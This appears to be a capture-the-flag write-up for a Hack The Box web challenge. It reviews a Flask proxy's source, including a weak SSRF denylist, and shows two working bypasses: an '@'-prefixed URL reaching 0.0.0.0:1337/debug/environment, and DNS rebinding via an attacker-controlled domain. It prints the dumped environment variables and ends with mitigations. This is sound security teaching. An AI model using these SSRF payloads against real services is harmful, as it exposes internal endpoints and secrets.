Experience the freedom of the web with ProxyAsAService. Because online privacy and access should be for everyone, everywhere.
This service is a proxy service.
A proxy server acts as a gateway between you and the internet. It’s an intermediary server separating end users from the websites they browse.
The first time we use it we see it directs us to reddit.com. We also get access to the source code.
Reconnaissance
Dockerfile
The flag is being placed in an environment variable.
1
2
# Place flag in environ
ENV FLAG=HTB{f4k3_fl4g_f0r_t3st1ng}
routes.py
The URL
parameter get validated if it’s not empty and the static SITE_NAME
gets added before doing a request to this URL. The application is expecting an user to put in a subreddit like “/r/cybersecurity”.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
SITE_NAME = 'reddit.com'
proxy_api = Blueprint('proxy_api', __name__)
debug = Blueprint('debug', __name__)
@proxy_api.route('/', methods=['GET', 'POST'])
def proxy():
url = request.args.get('url')
if not url:
cat_meme_subreddits = [
'/r/cats/',
'/r/catpictures',
'/r/catvideos/'
]
random_subreddit = random.choice(cat_meme_subreddits)
return redirect(url_for('.proxy', url=random_subreddit))
target_url = f'http://{SITE_NAME}{url}'
response, headers = proxy_req(target_url)
return Response(response.content, response.status_code, headers.items())
There is a /debug/environment
route that returns the environment variables, only when the parameter URL
is a local URL.
1
2
3
4
5
6
7
8
9
10
debug = Blueprint('debug', __name__)
@debug.route('/environment', methods=['GET'])
@is_from_localhost
def debug_environment():
environment_info = {
'Environment variables': dict(os.environ),
'Request headers': dict(request.headers)
}
return jsonify(environment_info)
util.py
There is a denylist that prevents the proxy from serving local URLs to prevent Server-Side Request Forgery attacks.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
RESTRICTED_URLS = ['localhost', '127.', '192.168.', '10.', '172.']
def is_safe_url(url):
for restricted_url in RESTRICTED_URLS:
if restricted_url in url:
return False
return True
def is_from_localhost(func):
@functools.wraps(func)
def check_ip(*args, **kwargs):
if request.remote_addr != '127.0.0.1':
return abort(403)
return func(*args, **kwargs)
return check_ip
Exploit
To acquire the flag, we need to overcome two challenges:
Challenge 1: is_from_localhost
Validation Method
The first challenge is the validation method known as is_from_localhost
. This check is designed to verify if the provided URL is a local one. Bypassing it is not overly complex since denylists are often incomplete as it’s challenging to cover every possible payload. This holds true for the RESTRICTED_URLS
denylist as well. Numerous bypass techniques exist, and you can find a comprehensive list on hacktricks. For instance, one example would be http://0.0.0.0/
.
Challenge 2: Manipulating SITE_NAME
in target_url
The second obstacle requires a bit more creativity. There are at least two strategies to approach it:
Strategy 1: Utilizing the “@” Symbol
One approach is to exploit the presence of the “@” symbol within an URL for authentication. By placing the “@” symbol in the URL, the server may interpret everything preceding the “@” symbol as authentication credentials and disregard it, thereby gaining control over the entire URL.
Attack URL: http://206.189.28.151:30600/?url=@0.0.0.0:1337/debug/environment
Upon successful exploitation, you’ll gain access to the environment variables, which may include the coveted flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
{
"Environment variables":{
"FLAG":"HTB{fl**REDACTED**c3}",
"GPG_KEY":"7169605F62C751356D054A26A821E680E5FA6305",
"HOME":"/root",
"HOSTNAME":"webproxyasaservicemp-1397648-6bb95b7494-28bzb",
"KUBERNETES_PORT":"tcp://10.245.0.1:443",
"KUBERNETES_PORT_443_TCP":"tcp://10.245.0.1:443",
"KUBERNETES_PORT_443_TCP_ADDR":"10.245.0.1",
"KUBERNETES_PORT_443_TCP_PORT":"443",
"KUBERNETES_PORT_443_TCP_PROTO":"tcp",
"KUBERNETES_SERVICE_HOST":"10.245.0.1",
"KUBERNETES_SERVICE_PORT":"443",
"KUBERNETES_SERVICE_PORT_HTTPS":"443",
"LANG":"C.UTF-8",
"PATH":"/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"PYTHONDONTWRITEBYTECODE":"1",
"PYTHON_GET_PIP_SHA256":"45a2bb8bf2bb5eff16fdd00faef6f29731831c7c59bd9fc2bf1f3bed511ff1fe",
"PYTHON_GET_PIP_URL":"https://github.com/pypa/get-pip/raw/9af82b715db434abb94a0a6f3569f43e72157346/public/get-pip.py",
"PYTHON_PIP_VERSION":"23.2.1",
"PYTHON_VERSION":"3.12.0",
"SUPERVISOR_ENABLED":"1",
"SUPERVISOR_GROUP_NAME":"flask",
"SUPERVISOR_PROCESS_NAME":"flask",
"WERKZEUG_SERVER_FD":"3"
},
"Request headers":{
"Accept":"*/*",
"Accept-Encoding":"gzip, deflate",
"Connection":"keep-alive",
"Cookie":"eu_cookie={%22opted%22:true%2C%22nonessential%22:false}",
"Host":"0.0.0.0:1337",
"User-Agent":"python-requests/2.31.0"
}
}
Strategy 2: DNS Rebinding Attack
Another strategy involves performing a DNS rebinding attack configuring a domain you own to redirect to 127.0.0.1. The domain should reflect the URL that is being built in the targetURL
variable. Knowing that “reddit.com” gets prepended to the URL we can setup a subdomain that is "reddit.com" + subdomain_value
.
In this example, I’m using a domain I own “http://onlyexploits.com” and create a subdomain “reddit.comlocal”:
Attack URL: http://206.189.28.151:30600/?url=local.onlyexploits.com:1337/debug/environment
Once you submitted the URL, you can see the full host in the environment variables.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"Environment variables":{
"FLAG":"HTB{fl**REDACTED**c3}",
...
...
...
},
"Request headers":{
"Accept":"*/*",
"Accept-Encoding":"gzip, deflate",
"Connection":"keep-alive",
"Host":"reddit.comlocal.onlyexploits.com:1337",
"User-Agent":"python-requests/2.31.0"
}
}
Mitigations
There are a bunch of measures that could been taken to prevent SSRF. A few specific ones could be:
- Use an Allowlist over a Denylist, as it’s less prone to faults by explicitly specifying what is permitted.
- Avoid dynamic target URLs
- Use proper authentication and authorization mechanisms to control access to sensitive endpoints, such as the
/debug/environment
route. Restrict access to trusted users only.